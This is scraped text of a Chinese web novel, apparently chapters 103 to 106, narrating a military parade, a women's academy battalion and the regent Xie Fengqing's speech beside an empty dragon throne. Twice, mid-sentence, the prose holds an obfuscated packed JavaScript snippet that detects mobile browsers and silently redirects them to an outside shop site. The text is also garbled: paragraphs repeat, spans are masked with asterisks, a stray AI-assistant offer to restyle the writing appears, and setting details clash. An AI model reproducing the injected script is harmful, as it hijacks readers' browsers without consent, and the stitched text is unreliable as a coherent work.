最引人注目的,无疑是那高高在上的阅兵台,以及台后方金銮殿御座上的情形——那象征至高无上的龙椅,依然空悬。龙椅由上等紫檀木雕琢而成,扶手和靠背上雕刻着九条栩栩如生的金龙,每一条都象征着至高无上的皇权。阳光透过大殿的门窗,照在龙椅上,使得上面的金饰闪闪发光,更添几分神秘与威严。 但在龙椅之旁,增设了一座略小、却同样威严的摄政王座。这座座椅同样精美非凡,但风格与龙椅迥然不同:它以银饰为主,椅背上雕刻的是一只展翅欲飞的凤凰,周围环绕着百鸟朝凤的图案。这个细节,被观礼台上所有有心人看在眼里,各自心中波澜起伏。 文武百官们交换着意味深长的眼神,各国使节则暗自揣度着这一安排背后的**信号,而北疆各部首领则面容肃穆,思考着这一权力格局对自己部落未来的影响。 谢凤卿登上阅兵台,目光扫过下方钢铁般的方阵,也扫过观礼台上神色各异的文武百官、各国使节,以及更远处那些身着各色部落服饰、神情敬畏中带着探究的北疆三十六部首领们。 这些部落首领身着各色民族服饰,有的头戴貂皮帽,有的身披狼毫大氅,颈上挂着象征部落权力的各式项链。他们面色黝黑,眼神锐利如鹰,却在此刻保持着适当的谦恭。是他们,用勇气和牺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720338|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牲赢得了这场战争,也赢得了这些草原雄鹰的尊敬。 谢凤卿的目光最终落在自己身边的萧御身上。萧御今日身着银色铠甲,外罩深紫色战袍,更显得英姿勃发。他微微向谢凤卿点头,目光中满是支持与鼓励。两人目光交汇的瞬间,似乎已经传达了千言万语。 “阅兵大典,开始!”礼部官员拖长了声音,高声唱喏,声音在广场上回荡,穿透了每一个角落。 话音未落,广场四周骤然响起震天的号角声,低沉而雄壮,仿佛来自远古的召唤。紧接着,擂鼓声如春雷般响起,由缓至急,由轻至重,最终连成一片,震得人心随之跳动。这声音不仅是一种信号,更是一种宣告——即将开启新的篇章。 首先入场的,正是威名响彻北疆、令敌人闻风丧胆的风雪十八骑。当他们的身影出现在广场尽头时,原本喧闹的观礼台瞬间安静下来,所有人的目光都被这支传奇部队所吸引。 他们骑乘着清一色毫无杂**的雪白西域骏马,这些神驹体型高大,肌肉线条流畅优美,步伐整齐划一,仿佛天生就是为了战场而生。马匹的鬃**在春风中轻轻飘动,与骑士们的银色轻甲相映生辉。更令人惊叹的是,这些战马显然经过严格训练,即便在震天的欢呼声中,依然保持着冷静沉稳的步伐,没有丝毫慌乱。 十八位骑士身着特制的银色轻甲,这些铠甲并非厚重板甲,而是由无数细小的甲片编织而成,既保证了灵活性,又提供了足够的防护。每一片甲叶都经过精心打磨,在阳光下闪烁着冰冷的光芒。他们的脸上戴着遮住半张脸的银色面具,只露出一双锐利如鹰的眼睛,令人难以窥探他们的真实面貌,更添几分神秘色彩。 最引人注目的是他们背负的新式火铳。这些火铳比传统火绳枪更加精致,**更长,上面雕刻着精美的花纹,显示出高超的工艺水平。而在马鞍旁,还悬挂着最新研发的、可连发的精致**箭,这种**箭体积小巧,却威力惊人,能够在极短时间内连续发射数支箭矢。 这队人数虽少却精锐无比的部队,在北疆战役中屡建奇功。他们曾深夜穿越百里敌占区,直插敌军大营,烧毁粮草辎重;他们曾在暴风雪中急行军三日,及时支援被围困的主力部队;他们更曾以十八人之力,牵制住数千敌军的进攻,为大部队调整部署赢得宝贵时间。每一个风雪骑士都是从各军层层选拔而来的精英,不仅武艺高强,更具备过人的智慧和胆识。 他们沉默地骑行而过,整齐划一的马蹄声敲击在白玉石板上,发出清脆而富有节奏的声响。十八位骑士没有像其他部队那样高呼口号,也没有做出任何夸张的动作,但那股从骨子里散发出的凛冽杀气和百战余生的沉稳气质,却比任何表演都更加震撼人心。他们所经之处,观礼群众无不屏息凝神,待他们走过,才爆发出震天的喝彩声。 第103章不过是重拾古风,何违祖制之有 紧接着入场的是女学弟子方阵,这是大燕历史上首次有女子成建制参加阅兵,其意义非凡。一百零八名随舰出征的女学弟子,身着统一的月白色束腰劲装,步伐坚定有力。她们没有像传统女子那样梳着繁复的发髻,而是将长发利落地束在脑后,更显英姿飒爽。 令人意外的是,她们手中没有持械,而是每人捧着一本蓝色封皮的《新式战法概要》。这本书并非装饰,而是她们在战场上实际学习和运用的教材。这些女子在北疆战场上证明了自己的价值:她们中有人冒着枪林弹雨抢救伤员,有人在深夜穿越火线传递重要军情,更有人在军事会议上提出独到见解,成为参谋人员中的重要力量。 巾帼英姿:女学弟子方阵接受检阅 百年陈规被打破,女子以学识与勇气赢得天下尊重 观礼台上,一位白发苍苍的老将军望着行进中的女学弟子方阵,忍不住发出感叹。他姓张名阔,是跟随先帝征战多年的老将,脸上布满岁月和沙场留下的痕迹。他扶着看台的栏杆,手指因激动而微微颤抖:“想不到女子也能有如此英姿!我那孙女若是见到这般景象,不知要作何感想。” 老将军的话语中带着复杂的情绪,既有传统观念被打破的冲击,也有对新时代来临的感慨。他想起自家那个不爱女红、偏爱读书的孙女,以往总觉得这孩子不守本分,此刻却忽然理解了那份不甘平凡的志向。周围几位同样年迈的将领闻言,也纷纷点头,目光中流露出相似的震撼与思考。 方阵中,站在首排的苏芷嫣格外引人注目。她昂首挺胸,步伐坚定,月白色劲装在阳光下泛着柔和的光泽。然而三年前,她还是个只会吟诗作画、足不出户的大家闺秀。父亲是朝中五品官员,家风严谨,从小教导她“女子无才便是德”。转变始于那次偶然的机会,她偷偷阅读了《新式战法概要》,军事谋略的世界为她打开了新的大门。 北疆战役爆发后,她不顾家人反对,毅然加入女学,随后主动请缨随军出征。她记得那个风雪交加的夜晚,在临时搭建的军帐中,借着微弱的烛光为重伤士兵缝合伤口。帐外寒风呼啸,帐内血迹斑斑,她的双手因连续手术而颤抖,却始终没有停下。鲜血染红了她的月白劲装,但她没有退缩,因为她知道,每救回一个生命,就是为大燕保存一份力量。 “谁说女子不如男?”站在苏芷嫣身旁的李晓芸低声说道,她的眼中闪烁着自豪的光芒。这个曾经被家人认为“应该好好待字闺中”的女子,如今已成为军中知名的通信专家。她改进的信号传递系统,大大提高了军队的通信效率,在北疆多场关键战役中发挥了重要作用。 李晓芸来自商人家庭,自幼对数字和机械有着非凡天赋。入伍后,她发现传统旗语和号角传令方式在复杂地形中效率低下,于是潜心研究改进。她设计的灯光编码系统和简易传讯筒,使消息传递速度提升了三倍不止。达坂城之战中,正是她及时传递了敌军动向,才使得清军能够迅速调整部署,一举破城。 女学弟子方阵共有一百零八人,这个数字对应天地之数,寓意着她们肩负的使命。她们手中捧着的《新式战法概要》,并非装饰,而是她们在战场上实际学习和运用的教材。这些女子在北疆战场上证明了自己的价值:她们中有人冒着枪林弹雨抢救伤员,有人在深夜穿越火线传递重要军情,更有人在军事会议上提出独到见解,成为参谋人员中的重要力量。 观礼台上,兵部尚书赵文渊转向身旁的同僚,低声道:“记得《尚书》有云,周时便有‘娘子军’,‘采集果实以佐军食,且缝纫之事亦令为之’。然如眼前这般,女子不仅从事后勤,更直接参与战事谋划、战场救护乃至通信传令,实为千古未有的创举。” 几位保守的老臣摇头叹息,认为这有违祖制。一位须发皆白的老翰林捻着胡须,面带忧色:“《礼记·内则》明训:‘女子居深宫,不涉外事’。如今让女子抛头露面,甚至持械从戎,实在有伤风化。”然而,他的声音很快被周围更多的赞同声所淹没。 更多开明之士则频频点头,为大燕能够不拘一格用人才而感到欣慰。一位中年文官感慨道:“战国时期,便有‘诸作备穴,五十人,男女各半’的记载。守城之法中,甚至规定‘丈夫十人,丁女二十人’,女子守城已逾千年。今日女子从军,不过重拾古风,何违祖制之有?” 北疆各部首领们更是交头接耳,对女子从军这一新鲜事物表现出极大兴趣。一位来自吐鲁番的首领对随从说:“这些女子不简单。在我们部落,女子也能骑马射箭,但如她们这般组成方阵、接受检阅的,还是头回见到。” 人群之中,几位年轻女子目光灼灼地望着行进中的方阵,眼中满是向往。一个约莫十四五岁的少女拉着母亲的手,激动地说:“娘,我长大后也要加入女学,像她们一样报效国家!”母亲闻言,先是一怔,随后看着女儿充满希冀的脸庞,终是化为了支持的笑容。 谢凤卿站在阅兵台上,目光扫过女学弟子方阵,眼中闪过一丝欣慰。她深知,允许女子入学、从军,这个决定曾经遭到多少非议。而今天,这些女学弟子用实际行动证明了自己的价值,也为大燕的未来开辟了新的可能。 随着方阵行进至阅兵台正前方,女学弟子们齐声高呼:“愿以学识报国,敢与须眉争锋!”清脆响亮的声音在广场上空回荡,展示着新时代女性自信自强的精神风貌。这一刻,她们不仅是在接受检阅,更是在向天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723402|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下宣告:女子同样可以保家卫国,同样可以在历史上留下自己的印记。 欢呼声从观礼台的各个角落响起,起初稀疏,继而如潮水般蔓延开来。许多百姓自发地向女学弟子方阵抛洒鲜花,表达对这群杰出女子的敬意。老将军张阔挺直了佝偻的身躯,向行进中的方阵郑重行了一个军礼。这个简单的动作,代表了一个旧时代的告别,也是一个新时代的开启。 更多开明之士频频点头,为大燕能够不拘一格用人才而感到欣慰。一位中年文官感慨道:“战国时期,便有‘诸作备穴,五十人,男女各半’之记载。守城之法中,甚至明确规定‘丈夫十人,丁女二十人’,可见女子守城已逾千年传统。今日女子从军,不过是重拾古风,何违祖制之有?” 那位身着深绯官服的老臣将笏板轻抵掌心,引着同僚望向校场中央正在集结的女子方阵。秋风掠过观礼台的旌旗,将他苍老而清朗的嗓音衬得格外悠远:“《乐府诗集》有载,‘旦辞爷娘去,暮宿黄河边’,花木兰代父从军的故事,正是南北朝时最早见于民歌。可见女子从军之传统,在我国历史上早已有之,并非谢摄政王一时兴起的创举啊。”他特意顿了顿,目光扫过身旁几位面露诧异的年轻官员,“尤其北朝时期,鲜卑、匈奴等民族尚存母系氏族遗风。《魏书·序纪》记载鲜卑旧俗‘妇人至尊’,女子参与军政并非奇事。木兰辞虽是文学作品,却恰是这种社会风貌的生动映照。” 他话音未落,一位身着青袍的史官便抚掌接口:“张公所言极是。下官近日正在整理北朝将门史料,发现女子从军的实例比史书明载的更为丰富。譬如北魏名将杨大眼之妻潘氏,《北史》明确记载她‘骁果善骑射,自诣军省大眼。至于攻陈游猎之际,大眼令妻潘戎装,或齐镳战场,或并驱林壑’。 这位潘将军并非仅仅随军,而是真正参与指挥作战,时人皆称其‘潘将军’,可见已获正式认可。”史官边说边以指尖在空中虚划,仿佛在勾描古籍中的行军路线,“更有前秦苻登之妻**氏,当姚苌袭其营垒时,**氏‘弯弓跨马,率壮士力战,杀贼甚众’。这些绝非孤例,都说明北朝女子在军事活动中的参与度,远比我们想象的要深入。” 观礼台另一侧,北疆各部首领们的交谈声如同草原上的风穿过白桦林,带着各种口音的官话此起彼伏。一位头戴绣花小帽的吐鲁番首领俯身对随从低语,镶嵌着绿松石的银耳环在阳光下闪烁:“这些女子握枪的姿势,比我们部落最好的猎手还要稳当。你看第二排那个红缨枪的女兵——她拉弓的臂力,怕是能射穿双层的牛皮盾。”随从顺着他的目光望去,只见那名女兵正在调整弓弦,小麦色的手臂上肌肉线条分明,动作干净利落。 第104章愿以学识报国,敢与须眉争锋 旁边一位来自克烈部的老首领缓缓捋着银白的长须,眼角深刻的皱纹里盛满了赞赏的眸光。他想起自己早逝的妻子——当年就是骑着白马、手持套马杆在纳达慕大会上赢得他的敬意。“我部落的女子,自幼在马背上长大,射狼追鹰的本事不比男子差。”老首领的汉话带着浓重的草原腔调,却字字清晰,“但像大燕这样,让女子组成规整的方阵,统一铠甲兵器,还授予都尉、校尉的职衔……”他望向校场上正在变换阵型的女兵,她们头盔上的红缨随着步伐起伏,如同跳动的火焰,“这需要极大的魄力。谢摄政王确实打破了千年的窠臼。” 这些部落首领们身着各色民族服饰,在汉官云集的观礼台上形成一道流动的风景线。契丹族的圆领袍服上的海东青纹样与女真族的左衽锦衣相映成趣,吐蕃首领的氆氇披风在秋风中微微飘动。一位年轻的回鹘王子正用突厥语向身旁的侍女描述着什么,手势翻飞间,腰间的镶宝石短刀不时反射出耀眼的光芒。几位来自西南彝部的头人则对女兵使用的**机表现出浓厚兴趣,低声讨论着这种兵器与彝家传世的铜**有何异同。 更远处,几位漠北部落的首领聚在一处,目光始终追随着女兵方阵的每一个动作。其中一位突然用蒙语感慨:“若让我家的其其格也来受训,说不定能当个百夫长。”周围几人闻言都笑了起来,笑声中却带着认真的思索。他们不约而同地想起部落里那些能徒手驯服野马、在暴风雪中独行三日寻找失散羊群的女子,这些被草原歌颂的“太阳的女儿”,似乎确实不该只被困在毡帐和灶台之间。 秋风卷起校场上的黄沙,女兵方阵正进行最后的阵型演练。她们整齐划一的踏步声如同战鼓,敲在每个观礼者的心上。那位最初发言的老文官微微颔首,对史官轻声道:“看见了吗?历史不是故纸堆里的墨迹,而是活生生的现在。谢摄政王此举,或许正开启了一个新的时代。”史官郑重地点点头,笔墨的馨香似乎已萦绕在鼻尖——他仿佛已经看见,后世史书将如何浓墨重彩地记载这个秋风飒爽的阅兵日。 如果您需要更偏文学小说风、学术考据型或影视剧本风格的表达,我可以继续为您调整优化。 人群之中,几位年轻女子目光灼灼地望着行进中的方阵,眼中满是向往。一个约莫十四五岁的少女拉着母亲的手,激动地说:“娘,我长大后也要加入女学,像她们一样报效国家!”母亲闻言,先是一怔,随后看着女儿充满希冀的脸庞,终是化为了支持的笑容。 不远处,另一对母女也在注视着这一历史性的一刻。女儿轻声问:“母亲,我是否也能像她们一样?”母亲握紧女儿的手,眼中闪着泪光:“只要你心中有国,有志向,自然可以。为娘年轻时,也曾梦想着能披甲执剑,保家卫国。” 这些年轻女孩的内心被女学弟子方阵的英姿所点燃。她们不再满足于闺阁中的绣花针线,而是向往着更广阔的天地。在这个历史性的时刻,一代新女性的意识正在觉醒 谢凤卿站在阅兵台上,目光扫过女学弟子方阵,眼中闪过一丝欣慰。她深知,允许女子入学、从军,这个决定曾经遭到多少非议。而今天,这些女学弟子用实际行动证明了自己的价值,也为大燕的未来开辟了新的可能。 她想起自己执政之初,决定设立女学时所遭遇的重重阻力。那些守旧大臣们纷纷上书,称“女子无才便是德”,认为让女子读书识字、学习兵法乃是违背祖制。甚至有人断言,女子从军会动摇国本。 然而她力排众议,坚持认为:“国家用人,唯才是举,岂可分男女?”她记得当时自己对群臣说过的话:“大燕天下,乃万民之天下。女子亦是大燕子民,为何不能为国效力?” 如今,看着这些女学弟子挺拔的身姿、坚定的目光,谢凤卿更加确信当年的决定是正确的。这些女子用自己在北疆战场上的表现,证明了女子同样可以担当重任 随着方阵行进至阅兵台正前方,女学弟子们齐声高呼:“愿以学识报国,敢与须眉争锋!”清脆响亮的声音在广场上空回荡,展示着新时代女性自信自强的精神风貌。 这一口号并非凭空而来,而是源自她们在北疆战场上的亲身经历。她们中有人曾在枪林弹雨中抢救伤员,有人曾在深夜穿越火线传递情报,更有人在军事会议上提出过独到见解。这些经历让她们深知,女子同样可以保家卫国,同样可以在历史上留下自己的印记。 “愿以学识报国”,表明她们并非仅凭一腔热血,而是凭借真才实学为国效力。“敢与须眉争锋”,则展现了她们不畏艰难、勇于担当的勇气。这简短有力的口号,将成为大燕新时代女性精神的写照 欢呼声从观礼台的各个角落响起,起初稀疏,继而如潮水般蔓延开来。许多百姓自发地向女学弟子方阵抛洒鲜花,表达对这群杰出女子的敬意。 一位满头白发的老妪擦去眼角的泪水,对身旁的孙子说:“奶奶年轻时,也曾想为国家尽一份力。可惜那时女子只能待在家里相夫教子。如今看到这些姑娘们能为国效力,奶奶心里真是高兴。” 人群中,不少男子也向女学弟子方阵投去敬佩的目光。一个年轻工匠对同伴说:“我姐姐也曾想参军,可惜父母不同意。下次家书,我定要告诉她今日所见,让她知道女子从军不再是梦想。” 甚至那些原本对女子从军持保留态度的保守派,在亲眼目睹女学弟子方阵的英姿后,也不禁为之动容。一位年迈的翰林学士轻叹道:“或许,真的是我们太过保守了。女子若 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女学弟子方阵缓缓通过阅兵台,但她们带来的震撼与思考,却长久地留在了每个人心中。在这一刻,大燕不仅展示了军事实力,更展现了社会进步的决心。 女子从军,不再是个别现象,而成为一种制度化的安排。这意味着大燕正在向着更加开放、包容的方向迈进。在这个新兴的帝国中,每个人,无论男女,只要有才能、有志向,都能找到报效国家的途径。 史官在史册上郑重记录下这一历史性的一刻,并评论道:“女子从军,古已有之,然如大燕这般设女学、编女军、授女职,使之成为国家制度,却是开千古之先河。谢摄政王此举,非但未违祖制,实为继承古风、开拓新制之明策。” 夕阳缓缓西沉,将天边的云霞染成绚丽的锦缎。阅兵大典已近尾声,但那一百零八位女学弟子组成的方阵所带来的震撼,却如同投入湖面的一颗石子,在大燕朝野激起了层层涟漪。这涟漪正从皇城校场向外扩散,即将涌向州府县衙,涌向书院学堂,涌向每一个大燕子民的心中。 当女学弟子方阵行至阅兵台正前方时,她们整齐划一地转身面向观礼台。阳光为她们银色的铠甲镀上一层金边,那一张张年轻而坚毅的面庞上,闪烁着理想与热忱的光芒。 “愿以学识报国,敢与须眉争锋!” 清脆响亮的口号声冲破云霄,在广场上空回荡。这不是简单的呐喊,而是经过无数次深夜讨论、反复推敲后凝聚的誓言。每一个字都饱含着她们寒窗苦读的日夜,浸润着她们在训练场上洒下的汗水。这声音中既有江南女子的清越婉转,也有北地女儿的豪迈铿锵,更有边塞姑娘的粗犷激越——她们来自大燕的四面八方,却在这一刻发出了同一个声音。 紧接着,她们又齐声高呼:“论凯旋之功,愿与天下共治!” 第105章一个更加开放、更加包容的时代 这一次的口号更加沉稳有力,每个字都像是经过千锤百炼。这不再仅仅是表达从军报国的决心,更是宣告了她们参与国家治理的**诉求。在这简短的口号中,蕴含着谢凤卿一系改革派深远的**智慧——女子不仅要争取从军的权利,更要争取在凯旋之后,与男子平等分享治国理政的权利。 观礼台上,谢凤卿微微颔首,眼中闪过一丝难以察觉的欣慰。她端庄地坐在鎏金交椅上,双手平稳地置于膝前,但微微颤抖的指尖泄露了她内心的激动。这一刻,她想起了三年前在御书房内与守旧派大臣们的那场激烈辩论。 “女子入学,已是破格;若再允其从军,岂不乱了纲常?”那位白发苍苍的太傅当时如是说。 而今日,这些她一手培养起来的女子们,用坚定的步伐、整齐的队列和昂扬的斗志,给了那些质疑最有力的回击。她们不仅证明了女子能够胜任军旅,更展现出了一种全新的精神风貌——既有传统女性的细腻坚韧,又不乏军人应有的刚毅果敢。 校场四周,百姓们的议论声此起彼伏。一位带着孙儿前来观看阅兵的老妇人擦拭着眼角的泪花,喃喃自语:“我年轻时若能赶上这样的好时候...”她的话没有说完,但周围不少中年妇女都深有感触地点着头。这些平日里忙于织布耕田、相夫教子的女性们,第一次如此直观地看到了女儿辈的另一种可能。 来自各地的商贾们则已经开始盘算这背后的商机。“女兵自有女兵的需求,”一个绸缎商悄声对同伴说,“从里衣到铠甲,都需要重新设计制作。这可是个大市场。” 而在观礼台的一角,几位外国使节正低声交换着看法。波斯使者抚摸着卷曲的胡须,用带着异国腔调的汉语对身旁的暹罗使者说:“在中原,女子从军确是新鲜事。不过在我们波斯,历史上也有过女子统帅军队的先例。”他的语气中既有赞赏,也有一丝不易察觉的警惕——一个大燕已经足够强大,若再解放了另一半人口的力量,未来的格局将难以预料。 太阳终于完全沉入了地平线以下,但整个校场却亮如白昼——无数灯笼火把相继点燃,将夜幕点缀得璀璨夺目。女学弟子方阵已经通过了阅礼台,但她们带来的震撼却久久不散。 这一刻,不仅是一场阅兵的结束,更是一个新时代的开启。随着铁龙驶向世界的各个角落,火龙炮舰巡弋四海,女子学堂开遍天下,大燕正迎来一个前所未有的盛世。而这一切,正如史官们在后来的记载中所写:“始于永昌七年的这个春天,始于这场划时代的阅兵,始于这一百零八位女子坚定而响亮的脚步声。” 当最后一方阵的士兵也离开校场后,谢凤卿缓缓起身,望向远处渐渐亮起的万家灯火。她知道,从明天开始,将有更多的女子走出深闺,走进学堂,走向更广阔的天地。而这条道路虽然刚刚开启,却已经不可逆转。 “一个更加开放、更加包容的时代,正在这片古老的土地上缓缓拉开序幕。”她轻声自语,唇角扬起一抹意味深长的微笑。 最为引人震撼的,当属压轴出场的火炮方阵。十二门庞大的新式火龙炮,由双排共四十八匹雄健骏马牵引,缓缓通过广场。黑洞洞的炮口指向天空,在阳光下泛着冷硬的金属光泽,庞大的炮身无声地诉说着毁灭性的力量。正是这些可怕的战争机器,在北疆最后的决战中,发挥了决定性的作用,一举奠定了胜局,如今它们已成为大燕国威的象征。所过之处,人群在短暂的寂静后,爆发出近乎狂热的欢呼。 当所有方阵集结完毕,广场上鸦雀无声,所有人的目光都聚焦在阅兵台正前方的那抹红色身影上。 谢凤卿稳步走到台前,目光如电,扫视全场。她清越而充满力量的声音,通过特制的扩音装置,清晰地传到了广场的每一个角落: 谢凤卿立于高台之上,深红色的宫装长裙在猎猎风中摇曳,其上用金线密绣的凤凰与牡丹图案,在午时最盛的日光下折射出令人不敢逼视的璀璨光芒。她缓缓抬起双臂,那是一个既似拥抱万民,又似承接天命的姿态。广场上,数以万计的将士、百姓、百官、使节,乃至更远处那些身着各色部落服饰的首领们,都不由自主地屏住了呼吸,所有的目光都聚焦于她一人之身。 她的声音初起时并不算高昂,却奇异地压过了场上的一切杂音,清晰地传入每个人的耳中,仿佛带着一种直击心灵的力量。这声音并非依靠蛮力嘶吼,而是蕴含着深厚内力与不容置疑的威严,如同沉钟巨鼓,敲响在每个人的心头。 将士们!百姓们!各国使节们!今日,我们站在这里,沐浴着同一片阳光,呼吸着同一片天空下的气息,共同庆祝一场伟大的、属于我们每一个人的胜利! 她的话语微微停顿,目光如实质般扫过下方肃立的军阵,扫过那些盔甲上犹带征尘、面容上刻满风霜的将士们的脸庞。她的眼神中充满了敬意与哀恸,声音也随之变得沉郁而恳切: 但这今日之凯旋,这响彻云霄的欢呼,这万人空巷的盛景,绝非我谢凤卿一人之功!不,它不属于任何一个人!它的真正铸就者,是你们——是在场的每一位浴血奋战的勇士,是你们用无畏的勇气撕裂了敌人的阵线;更是那些,永远长眠于北疆苦寒之地、再也无法亲眼目睹故土春色的英灵!是他们,用滚烫的热血、无价的忠诚、以及最宝贵的生命,换来了今日山河无恙,社稷安康! 她的手臂猛然挥向更远处那看不见的北方,仿佛要指向那片埋葬了无数忠魂的土地。这一刻,广场上寂静无声,唯有风拂过旗帜的猎猎作响。许多士兵的眼眶瞬间红了,他们想起了倒在自己身旁的 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谢凤卿并未急于继续,她微微抬起右手,掌心向下,做了一个温和而有力的下压手势。没有斥责,没有命令,只是一个简单的动作,却带着奇异的安抚与掌控力。沸腾的声浪在她的动作下,如同被驯服的巨兽,迅速平复下来,但空气中涌动的激动情绪却愈发浓厚,仿佛蓄势待发的火山。 待场中重归肃静,她蓦然转身,身姿挺拔如松,手臂毅然扬起,纤长的手指如利剑般,精准地指向身后金銮殿深处,那把在阴影与光晕交织中显得格外神秘、格外沉重的——空悬的龙椅。 她的声音陡然提高,如同最坚硬的玉石相互撞击,每一个字都带着千钧之力,掷地有声,回荡在辽阔的广场上空: 诸位请看!那把龙椅,至今空悬!它象征着至高无上的权柄,承载着江山社稷的重托!它空悬,非是无人可坐,也非是我谢凤卿不敢坐!而是它在等待——耐心地、笃定地等待着一位真正的明主降临! 她再次停顿,目光如电,扫过全场每一张神色各异的脸庞,让这个石破天惊的问题在每个人心中炸开: 但何谓明主?!是仅仅血统高贵、出身显赫吗?不!是能够体察民情、顺应**的领导者!是能够保家卫国、驱逐外侮、造福天下苍生的统治者!是能胸怀寰宇、目光远大,带领大燕这艘巨轮驶向更广阔天地、开创万世太平的开拓者! 这番言论,如同惊雷炸响在每一个人的心头。文武百官中,有人震惊地瞪大双眼,有人下意识地倒吸一口冷气,更有人目光闪烁,心中波涛汹涌。各国使节们交头接耳,脸上写满了难以置信与深深的探究。而普通的百姓们,则大多睁大了眼睛,似懂非懂,却又被那话语中蕴含的某种前所未有的理念所震撼。广场上寂静得仿佛连一根针掉在地上都能听见,一种历史的重量感压在了每个人的肩头。 第106章我们欢聚于此,举杯同庆 就在这极致的寂静中,谢凤卿的声音再次响起,带着一种不容置疑的决断,如同最终的法旨,宣告着一个新时代的开启: 所以! 本王今日,在此庄严宣布!在天下臣民、各国使节、各部首领的共同见证下,我将继续以摄政王之名,履治国之实,行安邦之权!恪尽职守,夙夜在公,直至——天下大定,四海升平,万民安居乐业,我大燕国祚绵长、傲立于世的那一日! 届时,这把龙椅,自会有它真正的、也是唯一的归宿!它必将迎来那位能够带领大燕走向极致辉煌的、天命所归的明主! 话音落下,不再是短暂的寂静,而是更长久的、近乎凝滞的沉默。人们需要时间来消化这惊天动地的宣言。这不仅仅是一场胜利的庆典,更是一次权力的公开宣示,一次**蓝图的勾勒,甚至是对未来皇位继承规则的重新定义。 随后,如同积蓄了太久力量的火山终于喷发,震耳欲聋的声浪冲天而起,几乎要掀翻金銮殿的琉璃瓦! “摄政王千岁!” “凤皇万岁!” “愿追随摄政王,共筑太平盛世!” 欢呼声、誓言声、叩拜声,混杂在一起,形成一股不可阻挡的洪流。士兵们用刀剑敲击着盾牌,发出有节奏的轰鸣;百姓们挥舞着手中一切可以挥舞的东西;就连观礼台上的许多官员,也情不自禁地躬身行礼。 谢凤卿独立高台,深红宫装的身影在漫天声浪与灿烂阳光的映衬下,仿佛真的化作了一只即将展翅腾飞、引领一个全新时代的凤凰。她的目光越过欢呼的人群,投向遥远的天际,那里,是属于大燕,也属于她的,更加广阔的未来。 “摄政王千岁!千千岁!” “凤皇万岁!万岁!万万岁!” 欢呼声如同积蓄了万年的火山,轰然爆发,震耳欲聋,连金銮殿顶的琉璃瓦都在声浪中发出细微的嗡鸣,仿佛也在为之震动。 一旁的史官,激动得胡须颤抖,用工整的小楷在史册上奋力记录下这必将流传青史的一笔:“二月初一,班师回朝,万人空巷。摄政王凯旋而不称帝,空悬龙椅以待贤明,开万世之先河,民心所向,天命可知。” 就在阅兵仪式达到顶峰,群情激昂之际,广场中央,阅兵台正前方的空地上,异变陡生! 地面传来轻微的震动,伴随着机括转动的沉闷声响,一座巨大的、晶莹剔透的物体,竟从地下缓缓升起!待其完全升起,稳定下来,众人无不倒吸一口凉气——那赫然是一座巨大无比的冰雕龙椅! 但与以往任何象征皇权的龙椅都不同,这座冰雕龙椅的椅背上,雕刻的并非简单的盘龙,而是北疆起伏的山川地形,脉络清晰,细致入微。而在那山川之上,一只凤凰展翅欲飞,姿态灵动,眼神锐利,仿佛随时都要破冰而出,直上九天!更令人叹为观止的是,在这看似寒冷的冰雕内部,竟然有赤红色的火焰在缓缓流动、跳跃!冰与火,这两种截然对立、本该互相湮灭的元素,此刻竟完美地交融在一起,阳光透过冰层,被内部的火焰折射,散发出七彩绚烂、如梦似幻的光芒,美得惊心动魄,亦真亦幻。 “祥瑞!天降祥瑞啊!” “冰火交融,凤凰于飞!这是天意!天意啊!” 百姓们何曾见过这等神迹,纷纷不由自主地跪拜下去,将此视为上天认可谢凤卿的最直接征兆。就连观礼的文武百官,也有大半惊得目瞪口呆,继而纷纷离席,躬身行礼。 北疆三十六部的首领们更是激动万分,他们纷纷以部落最崇高的礼节——五体投地大礼,向冰雕龙椅和阅兵台上的谢凤卿叩拜。一位年过花甲、在部落中极有威望的老首领,用生硬的官话激动地高喊:“长生天!这是长生天在昭示!摄政王殿下,您才是天命所归的**!草原各部,愿永世追随!” 谢凤卿凝视着这座突然出现的奇景,心中亦是一片惊涛骇浪。她下意识地看向身侧的萧御。 萧御适时地微微倾身,以仅她可闻的声音低语:“是霍三娘和工部匠人的杰作。利用地火之精与千年寒冰,佐以巧妙的机关术。她说……这是送给你凯旋的最后一份大礼。” 谢凤卿闻言,心中了然,不由对霍三娘的神鬼手段再次叹服。她面上不动声色,唇角却微微勾起一抹了然的笑意。不管是巧合还是人为,这天时、地利、人和齐聚的时刻,出现此等“祥瑞”,确实是一个再好不过的兆头。 她稳步走向那光芒四射的冰火龙椅,在无数道目光的注视下,伸出手,轻轻抚过冰冷的扶手。就在她的指尖触碰到的瞬间,异变再生! 冰雕内部的火焰仿佛被注入了生命,骤然变得无比旺盛,升腾跳跃,竟猛地冲破冰层的束缚,在空中凝聚、扭曲,最终化作一行巨大无比、燃烧着的文字: 天下共治,四海归一 八个大字,在空中熊熊燃烧,持续了足足十息之久,才缓缓消散。这一幕,将整个盛典的气氛推向了前所未有的高潮! “天佑大燕!天命凤皇!”欢呼声已经变成了某种近乎宗教狂热般的信仰呐喊。 谢凤卿转身,面向完全被震撼的人群,朗声道,她的声音此刻充满了某种神谕般的力量: 